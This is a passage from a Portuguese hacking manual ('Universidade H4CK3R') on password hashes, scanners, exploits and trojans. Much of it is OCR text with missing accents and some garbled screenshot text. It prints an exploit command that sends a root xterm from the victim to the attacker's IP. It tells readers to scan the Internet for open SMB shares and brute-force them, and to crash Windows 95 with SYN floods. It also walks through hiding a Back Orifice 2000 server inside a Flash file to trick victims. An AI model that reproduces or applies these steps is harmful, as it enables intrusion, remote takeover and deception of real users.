Cada metade da senha (sete caracteres) usada para criptografar um dos n-
meros hexadecimais. Essa representao da senha muito fraca e facilmente
decodificvel por hackers. O mtodo normalmente utilizado a diviso do hash
em duas partes, e o hacker usa password crackers independentes em cada
pedao, acelerando a quebra da senha.
A seguinte a chamada representao NT da senha. Ao contrrio da anterior,
essa representao muito mais dificil de decifrar. A senha , tambm, ajustada
para 14 caracteres e depois criptografada trs vezes com o algoritmo de hashing
MD-4.Apesar de muito melhor, ainda ineficiente se comparado aos sistemas
Unix. Falta "sal". O conceito de "salting" (ou "salgar") interessante. Qualquer
algoritmo de criptografia baseia-se na permuta de valores. Temperar o hashing
com salt significa escolher aleatoriamente muitos dos valores para permuta, adi-
cionando uma nova camada de desafio para a reverso do criptograma.A falta de
"tempero" permite ao cracker usar apenas uma estimativa de hashing para a
senha, diminuindo consideravelmente o tempo necessrio para descobri-Ia.
Mesmo sem esse problema, o Windows NT/2k/XP possui outro inconveniente
gritante: os hashes so legveis por qualquer usurio. No h como prevenir que
crackers tenham acesso a eles. Alm disso, na maioria dos casos, a mesma senha
blindada pelo hash NT est fracamente dissolvida no pseudo-hash LM. Desco-
1139 1
]Vulnerabilidades I
IUniversidade H4CK3R I
brindo o segundo, provvel que o cracker tenha acesso ao sistema e rede.
No Unix, as informaes de login so armazenadas no arquivo /etc/passwd.
O contedo do arquivo passwd muito mais complexo (e completo) que o seu
equivalente microsoftiano.
nonodeogum: $1$YgQ8Da9T$WFS59jmV80kWAia2cjr8u1: 500: 500:Pai
Nono de Ogum:/home/nonodeogum:!bin!bash
Da esquerda para a direita, separados por dois pontos, temos: nome de login,
hash da senha, ID do usurio, ID do grupo a que ele pertence (tanto no WinNT
quanto no Unix os usurios so organizados em grupos), nome completo do
usurio (este o antigo G-COSfield), localizao do diretrio pessoal (home)
do usurio e shell de login. Observe o hash. muito mais complexo que o do
WinNT. No h como o hacker descriptografar a senha porque ela "s de ida".
A chave de criptografia aplicada quando o usurio cadastra a senha, ficando o
resultado do hashing guardado no arquivo passwd.A chave, sendo de "mo ni-
ca", s pode ser descoberta por brute force. Quando o usurio Ioga-se no siste-
ma, a senha do arquivo passwd no decifrada. Ao contrrio, a senha que ele
fornece durante o login criptografada novamente e comparada com a que
est gravada no arquivo. Se ambas "baterem", o usurio tem acesso ao sistema.
Uma das caractersticas interessantes que nenhum algoritmo de criptografia
gera um hash que contenha o caractere "*". Por isso mesmo, colocar um
caractere desses no lugar da senha impede o login por aquela conta.
A abordagem /etc/passwd tem um problema. Todos os usurios devem po-
der ler do arquivo, pois suas informaes vitais (UlD, GID, home e shell) esto
nele. Isso quer dizer que os hashes de todos os usurios ficam desprotegidos e
qualquer lammer com uma conta no sistema pode querer rodar um quebrador
de senhas neles. Mesmo sendo difcil de quebrar, um arquivo que pode ser lido
por todo mundo tambm pode ser copiado em disquete, levado para casa e
quebrado sossegadamente por uma mquina comum, sem que ningum saiba.
Para resolver esse problema, a maioria dos Unices de hoje utiliza o
sombreamento de senhas ou shadow passwords. O shadow um arquivo com
permisso de leitura apenas para o root. No /etc/passwd, no lugar da senha,
temos um "*,, ou "x" para indicar que a senha est no arquivo shadow. Esta tcni-
ca sozinha torna impossvel conseguir, como usurio normal, as senhas de ou-
tros usurios. E, como sabemos, na maioria dos ataques temos de conseguir
acesso restrito primeiro para depois tentar acesso irrestrito. Um nico expedi-
ente coloca dois nveis de dificuldade a mais no caminho do cracker.
O quebrador de senha mais conhecido para a famlia WinNT o LOphtCrack,
uma ferramenta de uso muito fcil e capaz de quebrar os fracos hashes do
Windows em pouco tempo. Atualmente est disponvel apenas em verso co-
mercial custando US$ 350, mas pode-se conseguir o cdigo-fonte de uma ver-
140 I
Vulnerabilidades I [
Universidade 1ano
so mais antiga no endereo www.atstake.com/research/1c/download.html. Para
Unix, a vedete o fabuloso JoOOthe Ripper. O software capaz de quebrar, com
alguma ajuda da engenharia social, as senhas dos arquivos passwd e shadow (se
o cracker conseguir acesso a eles) e, em conjuno com ferramentas de
conectividade, pode capturar senhas criptografadas que trafegam em uma rede.
Alm de Unix, h verses do programa para DOS, Win32, BeOS e OpenVMS e
checagem de Kerberos AFSe pseudo-hashes LMdo Windows NT!2k!XP. O JoOO
the Ripper est disponvel em www.openwall.com/joOO/.
O leitor deve ter notado que no mencionamos a famlia Win9x nesta seo
sobre senhas. O motivo bem simples: no h segurana nesse ambiente. As
senhas so gravadas em arquivos com o nome do usurio e a extenso PWL.
Deve ser relativamente fcil quebrar as senhas embaralhadas nesses arquivos
(recusamo-nos a usar a palavra "criptografadas" aqui), mas no h necessida-
de de tanto: basta apagar os arquivos e o Windows alegremente pede novas
senhas... Entretanto, como os arquivos PWL podem guardar (e normalmente o
fazem) a mesma senha da rede. quebr-Ios pode ser bem til! H milhares de
quebradores de PEL no packetstormsecurity.nl.
Scanners
Scanners so programas utilizados para varrer os computadores em uma rede
procura de vulnerabilidades. H portas abertas a ataques tanto em mquinas
pessoais quanto em servidores de todos os tamanhos. Os scanners buscam siste-
mas que estejam desprotegidos e prontos para receber uma anlise minuciosa
sobre sua segurana. A maioria dos scanners no foi desenvolvida com inteno
de uso maligno. Mas como a rosa bonita e perfumada tambm possui espinhos,
so utilizados pelos dois lados: os hackers os utilizam para o ataque, enquanto os
administradores procuram as brechas para fazer as devidas correes.
Existem scanners especficos, desenvolvidos por empresas, que do nfase
segurana e que geralmente custam caro. Como um cracker no respeita nada,
fatalmente tais scanners cairo em suas mos. Outros so criados por hackers
mais experientes. Enquanto a vulnerabilidade que esses scanners exploram for
segredo de cls, poucos tero acesso a eles. Depois que ficam obsoletos, so
postos na rede para que os script kiddies possam fazer uso. Por isso, bom
lembrar que scanners encontrados facilmente na Internet podem no ser mais
to eficientes ou so mesmo completamente inteis.
Podemos dividir os scanners em dois tipos: o scanner de portas TCPjIP aber-
tas (ou portscanner) e o scanner de vulnerabilidades conhecidas.
Portscanners
Toda mquina com conectividade TCPjIP possui, em teoria, mais de 128 mil
pontos vulnerveis. Cada servio de rede que estiver disponvel em uma deter-
minada mquina uma porta de entrada em potencial - como vimos no captu-
1141 1
]Vulnerabilidades I
IUniversidade H4CK3R,
10 sobre Unix. Em Redes I, aprendemos que cada um desses servios "escuta" a
rede por meio de uma porta representada por um nmero, espera de cone-
xes. Como so 65.536 portas para o protocolo TDP e 65.536 portas para o
protocolo UDp, temos a uma verdadeira legio de hidras. Por exemplo, se a
mquina for um servidor Web, bem provvel que a porta TCP 80 esteja aberta,
para que outros computadores possam acessar as pginas HTML. Outro exem-
plo: uma mquina Windows que esteja com o compartilhamento ("share") de
arquivos ligado "escuta" as portas 137, 139 e 455 espera de outras mquinas
Windows que queiram ler os arquivos compartilhados. Esses nmeros esto
normatizados na RFC17004.
Os portscanners verificam as portas TCP/lP abertas de um sistema. Seu objetivo
listar os servios de rede TCP/lP disponveis, fazendo com que respondam quan-
do consultados. Com os resultados fornecidos pelo portscanner e o conhecimento
da RFC1700, o hacker pode determinar quais servios esto dando sopa e aplicar
neles os exploits pertinentes. Existem tambm os stealth port scanners, que utili-
zam tcnicas de no-conexo ou conexo incompleta para no serem detectados -
nem sempre com sucesso - como se tivessem um sistema de camuflagem. Os admi-
nistradores tm de utilizar ferramentas especficas para detect-los.
Quase todas as tcnicas de portscanning valem-se dos sinais (ou flags) TCp,
UDP ou ICMP trocados entre os programas que querem se conectar. Apenas
para referncia rpida, os sinais so estes:
PSH (push) - Um tipo de "vlvulade descarga", acelera a transmisso para poder finaliz-Ia
SYN(synchronize) -Tentativa de sincronizao entre portas
ACK(acknowledge) - Indica que os pacotes anteriores foram aceitos no destino
RST (reset) - Interrompe aconexo,devidoaerros ou "quedade linha"
FIN (finish) - Finalizadorde conexo, usado no fim da transmisso (no h mais dados)
URG (urgent) - Sinalizador de urgnda
A partir da anlise desses sinais, os scanners retiram informaes teis sobre
os sistemas e os comparam com padres predefinidos. O resultado disso
passado para o hacker, que interpreta os resultados baseado em sua experi-
ncia e conhecimento e decide quais exploits usar. Escovaremos mais bits
sobre hadshakeTCP/lP e funcionamento de scanners nos captulos seguintes.
Se tudo at aqui lhe pareceu confuso, no prossiga. Releia o captulo Redes I,
e alguns dos tutoriais sobre TCP/lP includos no CD. Recomendamos ainda os
excelentes livros de Andrew Tannembaum e do Prof. Gabriel Torres, Redes de
Computadores. Apesar do mesmo nome, so dois livros diferentes. A Internet
tambm est cheia de tutoriais sobre TCP/lP. Use seu mecanismo de busca favo-
rito e divirta-se!
4 Request for Comments so documentos com recomendaes para implementao de servios e
normas para a Internet e redes em geral. Todos eles podem ser consultados em www.ietforv./rfc.html.
1142 1
Vulnerabilidades I r
Universidade 1ano
Funcionamento de um scanner de portas
Existem centenas de scanners de portas espalhados pela Internet. Em primei-
ro lugar, devemos escolher a plataforma na qual vamos trabalhar, Unix (incluin-
do a Linux) ou Windows. Grande parte dos iniciantes prefere a segunda opo,
pois a maioria das ferramentas so mais fceis de trabalhar. Depois de "brincar"
um pouco com esses scanners e verificar seu modus operandi, podemos passar
a usar scanners mais complexos e poderosos.
Uma das opes dos bons programas de scan a possibilidadede definir um rangeou
faixa de IPs a serem verificados.Por exemplo, poderamos varrer os endereos entre
192.168.1.1e 192.168.1.10- dez mquinas em uma rede privada - ou entre 64.x.x.l e
64.y.y.254- 252 mquinas na Internet pblica. Observe que em qualquer faixa de ende-
reo poderemos encontrar computadores pessoais,estaes de trabalho ou servidores.
Omitimos x.x e y.ydos endereos do exemplo para proteger os inocentes. ;-)
Lembrando que IPs internos como os de grandes empresas no podem ser
atacados diretamente pela Internet. Seria necessrio passar primeiro pelo
gateway, pelo firewall, conseguir um shell em alguma mquina que possua
interfaces de rede tanto na Internet quanto na rede interna e mapear a rede
interna at chegar mquina desejada - o que no nada fcil, por enquanto...
No caso de um endereo diretamente conectado Internet, necessrio fa-
zer uma escolha das portas mais comumente vulnerveis. Aps definir o range
dos IPs, podemos, ao nosso gosto, definir quais portas vamos testar e quais
mtodos usaremos nelas. Restringir o nmero de portas uma atitude sbia,
pois, se voc escanear TODAS as portas, seguramente ser detectado por um
administrador atento (ou um IDS). Comece com os servios mais comuns, nos
quais voc pode ser confundido com o trfego normal. Nossas sugestes so as
conhecidas portas 21 (Telnet), 25 (Mail), 53 (DNS),80 (Web) e 139/445 (SMB/
CIFS). Para fins didticos, consideremos escanear as portas. Depois de configu-
rado, basta colocar o programa para rodar e veremos o seguinte resultado:
Address : 192.168.1.12
Port 21... Listening
Port 22 ... Listening
Port 25 ... Listening
Port 110 ... Listening
As portas 21,22,25 e 110 podem estar abertas para uma possvel invaso,
podem estar sob a vigilncia de um administrador e podem realmente ser segu-
ras. A porta 110 oferece o servio POP3. por onde voc se conecta para
baixar seus e-mails. Ora, essa porta TEM de estar aberta (nos servidores de e-
mail, obviamente), de outra forma ningum poderia ler correspondncia eletr-
nica. Portas abertas no so sinnimo de insegurana. O problema so as portas
aberta, cujos programas que as "escutam" possuem falhas de segurana.
1143 1
I Vulnerabilidades I
IUniversidade H4CK3RI
o portscanner mais conhecido da face da terra o nmap (www.insecure.org/
nmapf). Desenvolvido originalmente para Unix, possui verses para muitos
sistemas operacionais, incluindo o Windows. Concebido para a linha de co-
mando, possui diversos frontends grficos, como o NmapWin para Windows
(www.nmapwin.org) e o nmapfe para Unix (incluso no pacote do nmap). Ex-
tremamente flexvel e poderoso, o nmap e vrios de seus frontends para
Windows, Unix e Mac esto includos no CD.
Scanner de vulnerabilidade
Ns utilizamos os portscans para verificar os servios ativos em um dado siste-
ma. Uma vez determinados esses servios, entra em cena um outro tipo de
scanner: o de vulnerabilidades. Basicamente, a idia do scanner de vulnerabilidade
, atravs de uma lista de falhas conhecidas, checar se o sistema est ou no
executando um servio com problemas. Estes scanners facilitam sobremaneira
o trabalho do invasor, automatizando o processo de conexo a cada um dos
servios listados pelo portscan e a verificao de fraquezas. Sendo automtico,
poupa ao invasor dias de trabalho, pois pode checar sozinho dezenas ou mesmo
centenas de vulnerabilidades sem a interveno do black-hat.
Um bom scanner de vulnerabilidade deve verificar os seguintes itens:
~Erros comuns de configurao: administradores de sistema inaptos e
usurios leigos deixam, por incompetncia, vrias portas abertas e fraquezas
desprotegidas em seus sistemas.
~Configuraes e senhas-padro: no h nada de que um hacker goste
mais do que um administrador de sistemas que instala softwares e os deixa
com as configuraes de fbrica. Ri-se de babar ao perceber servidores com
usurios e senhas-padro (do tipo usurio: root senha:root ou usurio:admin
senha:master) ou com diversos servios inseguros desnecessariamente ativados.
~Combinaes bvias de usurio e senha: outro problema so as senhas
bvias. Usurios comuns j possuem a tendncia de colocar uma senha fcil de
lembrar (o nome da esposa, por exemplo). A situao piora quando usam com-
binaes de nomes notoriamente pblicos. Exemplos de pares usurio/senha
fracos: fabio/junior, wanderley!luxemburgo, alice/cooper, carla/perez, george/
walkerbush. Outro problema so senhas de palavras do dicionrio: h
quebradores de senha com listas de palavras comuns. Um estudo feito em 1998
por uma empresa norte-americana mostrou que 82% dos funcionrios utiliza-
vam, como senha, alguma posio sexual ou o nome do chefe modificado de
forma pejorativa.
~Vulnerabilidades divulgadas: sempre que uma falha de segurana
divulgada, h uma corrida dos desenvolvedores de software para san-Ias. Mas
tambm h uma outra competio: a dos hackers que querem chegar aos siste-
mas vulnerveis antes de serem consertados.
Um scanner de vulnerabilidades pode, por exemplo, descobrir que sua verso
11441
Vulnerabilidades I [
Universidade 1ano
do servidor de SMTPsendmail muito antiga e possui o famoso sendmail-bug.
Ou que voc ainda est usando o MSN Messenger 4.6 e, portanto, emprega
controles ActiveX vulnerveis. Ambas so falhas muito antigas, mas - quem se
importa? - se voc no deu ateno aos conselhos de seu guru de segurana
favorito e no atualizou seus sistemas, o problema todo seu. Esses so apenas
dois exemplos das centenas de testes que um nico scanner de vulnerabilidades
pode fazer por voc. Scanners mais modernos j incluem, em um mesmo
software, portscans, vulnscans e mapeamento de redes. Um exemplo disso o
excelente Nessus (www.nessus.org). que ser abordado nos captulos finais.
Exploits
Exploits so scripts e programas designados para explorao de
vulnerabilidades em sistemas. Assim como os scanners, eles podem ser usados
tanto por administradores para testar as falhas de segurana em seus servidores
quanto pelos hackers que os utilizam para invaso e aquisio de informaes.
H vrios tipos de exploits e cada um possui uma forma diversa de aplicao.
Para alguns deles o hacker precisa ter acesso ao Shell da mquina-alvo. Isso
pode ser conseguido por meio de um cavalo de tria executado pela vtima em
seu sistema. Tal trojan abre uma porta de comunicao (sim, uma porta TCP/lP,
com nmero determinado e um protocolo) e permite que o invasor tenha total
controle sobre a mquina, o que inclui instalao de programas e, portanto, a
aplicao de qualquer exploit. Note que, neste caso, j houve uma pequena
invaso: o exploit permite quebrar outros nveis de segurana e, assim, obter um
acesso mais profundo.
Outros exploits servem justamente para conseguir o acesso a um shell e po-
dem ser aplicados atravs de um site que contenha um cdigo malicioso escon-
dido. E-mails em formato HTMLtambm so vetores desse tipo de cdigo. Nor-
malmente, o que esses exploits fazem gerar um estouro de pilha (buffer
overflow) e, com isso, confundir a mquina-alvo, fazendo-a abortar o progra-
ma em execuo e devolver uma linha de comando. E, por ora, basta saber que
todos os programas possuem uma rea de memria (ou buffer) para trocar
dados com outros programas ou para interagir com o usurio. Essa rea de
memria tem um tamanho limitado, e programas mal escritos comportam-se
de forma estranha toda vez que o buffer fica cheio. O prximo dado que
tentar entrar no buffer e no conseguir gerar instabilidades no programa e
poder paralis-Io.
Um exemplo prtico: descobre-se no endereo vitima.com.br (ateno lammers:
o endereo fictcio) um sistema Unix rodando uma verso vulnervel do BIND,
um servidor de DNS. Um exploit para essa verso de BIND chamado bindxplt
encontrado no site Rootshell, que permite a execuo de comandos arbitrrios
pelo daemon no caractere seguinte ao ltimo que cabia no buffer. Lembrando que
ele s roda com privilgios de root, executa-se, na mquina do hacker, o comando:
1145 1
1 Vulnerabilidades I
IUniversidade H4CK3RI
$ bindxplt vitima.com.br u/usr/XIIR6/bin/xterm -display
200.xxx.yyy.6:0u
Como por mgica, uma janela de X-Terminal se abre na mquina do hacker,
que possui o IP 200.xxx.yyy.6. Dentro dessa janela, o prompt de root da mqui-
na vitima.com.br. a glria!
H milhares de exploits que podem ser utilizados. Poderamos citar alguns
aqui, mas a quantidade realmente assustadora. Sugerimos parar a leitura do
livro neste ponto e navegar por cada um dos sites citados abaixo. Tome conhe-
cimento de como cada site funciona, baixe alguns exploits de cada um e tente
aplic-Ios em sistemas vulnerveis.
www.cert.org
www.insecure.org
www.rootshell.com
www.securityfocus.com
www.packetstormsecurity.org
www.linuxsecurity.com
www.linuxsecurity.com.br
www.hackersplayground.org
www.ntsecurity.nu
www.antionline.com
www.digitalsin.net/cyn/sinfinite
www.cexx.org
www.hackinthebox.org
astalavista. box. sk
Em Tria, como os gregos...
Uma vez com acesso linha de comando na mquina invadida, uma das pri-
meiras providncias do black-hat instalar um backdoor. Por meio dele, o hacker
pode entrar e sair do computador invadido sempre que quiser. Mas para instalar
a tal porta de trs, a mquina precisa ser primeiro invadida. Muitos acham que
isso d trabalho demais.
Alguns espertos pensaram: por que no fazer os prprios losers facilitarem o
nosso trabalho? Bem, voc j tem o cho frtil para o nascimento dos primeiros
cavalos de tria. Os trojans, como so comumente chamados, so programas
executveis que controlam todas as partes do computador e comunicam-se com
o mundo exterior. Um hacker conecta-se ao trojan por meio de um backdoor
embutido e pode controlar a distncia a mquina invadida. Em 1998, mais de 250
tipos de trojans conhecidos j estavam atuando nos micros dos mais desavisados,
e desde ento, esse nmero cresceu monstruosamente, chegando a 580 em 2000.
Hoje em dia, toma-se difcil encontrar um nmero fiel, e mesmo os nmeros
apresentados indicam apenas os trojans encontrados e catalogados. Muitos ain-
da devem andar por a com trojans to antigos quanto indetectveis...
146 I
Vulnerabilidades I [
Universidade 1ano
Adifuso desse tipo de programa d-se por contgio. Os trojans, em sua maioria,
so desenvolvidos e distribudos como vrus, anexados em mensagens de e-mail
ou em disquetes promscuos, e muitas vezes so escondidos em arquivos ino-
centes, como imagens, apresentaes em Flash e joguinhos. Depois que a pr-
pria vtima instalou o trojan, o computador infectado comea a funcionar como
um servidor. Se h um servidor, h um cliente para se conectar, que est em
poder do hacker.A conexo praticamente imperceptvel para o usurio leigo,
que, ao se conectar Internet, est sujeito ao ataque.
Dois dos trojans mais prticos da atualidade so o Netbus e o Back Orifice.
Ambos ocupam pouco espao em disco (o BO tem apenas 120 KB) e podem
passar despercebidos, pois h a possibilidade de camuflar o executvel escon-
dendo-o em outro programa ou arquivo. Aps a instalao, o trojan apaga seus
rastros e torna-se ativo, aguardando apenas que algum se conecte ao computa-
dor infectado. Como qualquer outro trojan, o BO e o Netbus so constitudos de
dois arquivos: o cliente e o servidor. Um dos principais problemas de ambos
que os servidores esto restritos famlia Windows 9.x, embora existam clientes
BO para Windows e Unix.
Entre as funes comuns a ambos, podemos destacar:
~Fornecer um shell para o cliente com acesso irrestrito;
~Controlar todos os dispositivos de hardware da mquina;
~Gravar uma imagem da tela do computador invadido;
~Fazer exames da rede, podendo obter senhas e outras informaes;
~Gravar um arquivo contendo informaes sobre tudo que foi teclado no micro;
~Possibilitar a abertura de janelas DOS remotamente.
O BO e o Netbus so dois trojans muito visados. Todos os antivrus conside-
ram-nos como ameaa e impedem que sejam instalados no computador-desti-
no. Alis, um bom programa antivtrUs barra mais de 90% dos trojans conheci-
dos. Obviamente h muitos outros por a que nunca conhecero outro mestre
alm de seu criador e, portanto, sero imunes maioria dos antivrus. Todo
cuidado nesses casos pouco.
Ambos esto includos no CD, e recomendamos que nossa rede simples (La-
boratrio de Redes I) seja usada para test-Ios. Leia a documentao de ambos,
familiarize-se com eles e tente controlar outras mquinas.
A criao de bons scanners e exploits demanda conhecimentos em programa-
o e TCP/IP.Para consegui-Ios, a anlise de cdigos alheios um bom ponto de
partida. Nos CDs, h diversos exemplos em cdigo-fonte de scanners, exploits
e cavalos de tria. Dessenferruje seus conhecimentos em Delphy /Kylix, PerI ou
C/C++ e v em frente. No perodo de dois ou trs meses ser possvel escrever
seu prprio scanner em sua linguagem favorita.
11471
]Vulnerabilidades I
IUniversidade H4CK3RI
As falhas de segurana mais comuns em
micros domsticos
Apesar de no ser o alvo preferido dos hackers, os micros domsticos so
timos como rea de treino para aqueles que querem adentrar no universo das
invases. Geralmente, os usurios domsticos utilizam alguma verso do sistema
operacional Wmdows, uma verdadeira orgia de falhas para aplicar exploits e tes-
tar trojans. Mesmo os usurios de outros sistemas pessoais, como linux, FreeBSD
ou MacOS(e do Wmdows 2000, que relativamente seguro se comparado ao 98),
no escapam desses tipos de ataque, pois nem sempre dominam totalmente as
caractersticas e opes de segurana que esses sistemas operacionais oferecem.
Apresentaremos aqui apenas algumas delas. H muitos exploits nos CDs que
podem e devem ser experimentados, e as novidades em termos de falhas saem
fresquinhas diariamente nos sites especializados. Para um melhor estudo, interes-
sante preparar uma mquina para ser "cobaia" e lig-Iaem rede com sua estao de
trabalho, de onde os ataques sero originados. Instale diversos sistemas operacionais
(Win98/Me/2k/XP, linux e FreeBSD- um por vez ou todos em multi-boot, a seu
gosto) e mande brasa! Note que algumas falhas nem precisam de exploits...
TCP SYN Scanning versus Windows 95
Uma falha gritante presente no Windows 95 (mas aparentemente no no 98
nem no Me) a incapacidade de lidar com pacotes SYN.Como veremos no cap-
tulo Redes 11,numa conexo TCP/lP de verdade h trs hadshakes bsicos. Quem
pede a conexo manda um pacote SYN,quem aceita a conexo manda um SYN/
ACKe fica esperando um pacote ACKdo sistema que solicitou a conexo.
Um portscan tipo TCP SYNnunca enviar o pacote ACK em resposta a SYN/
ACK do Windows. Isso far com que o Windows 95 congele por alguns instan-
tes enquanto espera o pacote. Caso seja feito um flood (envio de um grande
nmero de pacotes simultneos) SYN, a pilha TCP/lP do Windows trava e
apresentada a famosa "TelaAzul da Morte" (Blue Screen of Death ou BSoD).
Experimente faz-Iocom o nrnap/nrnapWin em sua mquina de trabalho, apontan-
do para o IP da mquina "cobaia"e rodando o scan com a opo SYNStealth ligada.
Compartilhamentos em computadores Windows
(SMB/CIFS)
A configurao incorreta do protocolo conhecido como Common Internet File
System (CIFS- anteriormente conhecido como 5MBou Server Message Blocks),
que permite o compartilhamento de arquivos atravs de redes, pode expor arqui-
vos crticos do sistema ou at mesmo permitir acesso completo do sistema.
148 I
Vulnerabilidades I [
Universidade 1ano
Usurios corporativos costumam compartilhar seus sistemas de arquivos em
sua rede. Ingnuos, ativam essa opo tambm em casa, esquecendo-se de que
esto diretamente conectados Internet. Com isso, abrem as portas para que
os hackers faam o que bem quiserem com seus arquivos. Uma conexo deno-
minada "null session" (sem usurio e senha) pode pr em risco informaes
pertinentes ao sistema e chaves de registro.
Scanners de vulnerabilidades (como o j citado Nessus) normalmente procu-
ram por diversas portas, incluindo as portas 135 (TCP e UDP), 137 (UDP), 138
(UDP), 139 (TCP) e 445 (TCP e UDP). Caso pelo menos duas destas portas
estejam (ou aparentem estar) ativas, o computador apresenta-se vulnervel
conexo por compartilhamento.
O procedimento bem simples. Primeiro, use o Nessus para procurar, na
Internet, mquinas com essas portas abertas. Anote todas que encontrar. No
Windows, chame o Internet Explorer e coloque o nmero IP da mquina vulne-
rvel, no formato LANManager: \\IP.DA.VTIMA.AQUI. Se no houver senha, os
compartilhamentos sero mostrados - basta c1icar neles. Caso haja, um bom
quebrador de senhas por brute force dar conta do recado.
J171:3
~!iona:;'
Caso esteja em uma mquina Linux, podem-se usar os comandos do pacote
samba-c1ients para tentar a conexo, da seguinte forma:
$ smbclient -L IP.DA.VTIMA.AQUI
Provavelmente sero pedidas senhas para mostrar os compartilhamentos. No-
vamente deve-se recorrer aos quebradores brute force para descobrir as senhas.
11491
I Vulnerabilidades I
IUniversidade H4CK3RI
Se a interface grfica KDE3 estiver disponvel, pode-se usar o Konqueror. Escre-
va na barra de endereos o IP da vtima da seguinte forma: smb:/ /
IP.DA.VTIMA.AQUI/. OS compartilhamentos devem ser exibidos.
Uma curiosidade sobre esse
furo de segurana que original-
mente ele no existia! O Protoco-
lo NetBEUI (antecessor do 5MB/
CIFS) permitia o compar-
tilhamento de arquivos nas redes
LAN Manager, Windows for
Workgroups e nos primeiros
Wmdows NT. S que o NetBEUI
no era rotevel e, portanto, era
impossvel que grandes redes IP
tivessem conectividade total por
meio dele. Para resolver isso, a
Microsoft estendeu a imp1e-
mentao do NetBEUI. Batizada
de 5MB, a nova tecnologia per-
mitia o "empacotamento" dos
pacotes NetBEUI no protocolo
TCP/IP.A conexo entre as mquinas era feita pelas portas 137 e 139.
Entretanto, "tunelar" o NetBEUI pelo IP permitia que o pacote fosse rotevel
no s pela rede corporativa mas tambm pela Internet. Nesses casos, h duas
opes para as empresas: isolar completamente a rede interna da Internet ou
no compartilhar nada, nunca. J os usurios domsticos normalmente no tm
o que compartilhar (pois no pertencem a rede alguma) e devem manter esse
recurso desligado.
IJiJIIilIiI
li!
J
I/oc jUeasa fornece!
um usurio e uma
I!I!n".
,1713iR<>bet1!
f\ume dI> 1tW<\1iU:
[mbert<>
Senha;
Servios desnecessariamente ligados
o Unix nunca foi pensado para ser um sistema operacional domstico. Costu-
ma-se dizer que ele foi criado "por programadores, para programadores". De-
pois, foi adotado como sistema operacional ideal para servidores e, para isso, foi
recheado com diversos programas e servios especficos de servidor.
Atualmente, o Linux e o FreeBSDesto sendo usados numa escala maior como
SOs em estaes de trabalho e micros domsticos. Mas ainda assim so prepa-
rados para ser servidores, uma vez que a maioria das distribuidoras monta suas
caixinhas com produtos "polivalentes" em vez de especializados. Um usurio
domstico talvez nunca precise de um sendmail ou um apache rodando em sua
mquina, mas ainda assim os tem.
O interessante que nem preciso explorar falhas de software como estou-
150 I
Vulnerabilidades I r
Universidade 1ano
ro de pilha ou programas comuns com poderes de root. Imagine uma estao
de trabalho Linux com os servios de Finger, FTP e Telnet habilitados. O usurio
no precisa deles - porque a mquina dele nem um servidor - e sequer sabe
que os servios esto ativados. Com o comando fmger, um hacker obtm a lista
de usurios cadastrados no sistema. De posse dos nomes de login por brute
force ou dicionrios, consegue entrar em uma conta de Telnet e, uma vez den-
tro, pode explorar o sistema vontade.
A correo para esta falha simples: desligue tudo o que no for usar.
Buffer OverfLownos servios de Remote Procedure CaLL
Ainda sobre Unix, alguns servios utilizam-se das RPCs, que so, simplificando
a explicao, como se fosse syscalls executadas em outro computador. Por
exemplo, uma mquina Unix utiliza-se do RPCpara aplicar o servio de Network
File System (NFS) oferecido por outra mquina Unix.
H falhas em implementaes de RPCque permitem que programas sejam exe-
cutados no micro invadido a partir de um outro computador remoto. Existem
evidncias de sua utilizao nos ataques DDoS que ocorreram no ano de 1999.
Laboratrio de
Vulnerabilidades I
Aprincipal finalidadedos laboratrios a prtica de alguns procedimentos conside-
rados essenciais para a rotina do hacker.Administradores de sistema devem observ-
los cuidadosamente, pois devem estar sempre atentos s tcnicas usadas em invases.
Nesse primeiro laboratrio, vamos manter nosso foco na invaso de micros
domsticos - sim, sim, coisa de lammer. Mas temos de comear de alguma forma,
no acha? E qual seria a melhor maneira para atingir esse objetivo? A resposta
est entre artimanhas mais antigas conhecidas pelo homem: O Cavalo de Tria!
Exatamente isso! Como na histria, um presente usado como artificio para a
invaso. Vamos utilizar o mtodo clssico de envio de trojans para as vtimas. Na
verdade, precisaremos de trs arquivos para cumprir a tarefa: o servidor, que vai
controlar o computador invadido, um programa joiner (usado para unir arqui-
vos) e o cliente, instalado na mquina do hacker, para controlar o servidor.
Utilizaremos o Back Orifice 2000, a novssima verso de um dos trojans mais
utilizados no mundo. Como j foi comentado anteriormente o programa divi-
dido basicamente em duas partes: cliente e servidor. Para instalar o servidor,
necessrio que a vtima rode o executvel em seu computador sem perceber o
que est fazendo. Mas como isso possvel? Simples, vamos utilizar um peque-
no truque de engenharia social: faremos uso da curiosidade. Em nosso exemplo,
uma imagem carregando o servidor do B02k em suas entranhas.
Para camuflar nosso agente, empregaremos o ]oiner, um pequeno programa que
1151 I
1 Vulnerabilidades I
IUniversidade H4CK3R I
possibilita a unio de dois arquivos quaisquer. Um deles obrigatoriamente tem de
ser um executvel, que ser aberto antes do segundo. Depois de terminado, o con-
trole passado para o segundo arquivo; se for tambm um binrio ser executado
e, caso seja um arquivo comum, ser aberto no aplicativo correspondente.
Ento, aos troianos! Recomendamos o Back Orifice 2000, um dos mais conhe-
cidos e prticos da Web, mas voc pode escolher entre uma coleo enorme.
Existem trojans para praticamente todas as plataformas!
Configurando o servidor
o servidor do BO precisa ser preparado antes da infeco, pois depende de
plug-ins para cada uma das "maldades" a serem feitas. Outro detalhe: necess-
rio informar ao programa como se comunicar com o hacker.As opes so: por
e-mail, IRC e mesmo ICQ.
A configurao simples. Rode o B02K
Configurator. Na tela que se apresenta,
preencha seus dados, a porta na qual o
servidor deve "escutar" e a forma como
ele deve contact-Io para informar que est
on-line. H vrias opes, entre elas ICQ,
IRC e mesmo e-mail. Existe ainda a
P
ossi-
Ia
bilidade de defInir senhas para a conexo,
impedindo assim que outros hackers usem
o seu BO. Nada que um brute force no
resolva, entretanto.
!:B02K Smer ConHgurat;on .. GJ:q.<:1
FiI,T""',,
TCPIO
UDPIO
Buili',
jij
A parte mais importante da configu- Plu
I Na
rao do servidor a defInio dos o!!obo_peepdll 0.7 10 B02KRemoleCon,ole Mana,
plug-ins que sero usados. Cada uma
das tarefas bsicas - controle do com-
putador, navegao pelo sistema de
arquivos, captura da imagem da tela e
criptografla na comunicao, entre ou-
tros - de responsabilidade de um plug-
in especfico. Leiaa documentao (e o tutorial simples e efIcaz incluso no pacote)
para mais detalhes sobre os plug-ins.
~
Remove I
~ E,hac'ToF;le...I
5e,V~ue J
Juntando as coisas
Uma vez configurado o servidor, resta-nos unir o arquivo boserve.exe gerado
pelo configurador com o "cavalo" - em nosso caso, uma animao em Flash. Para
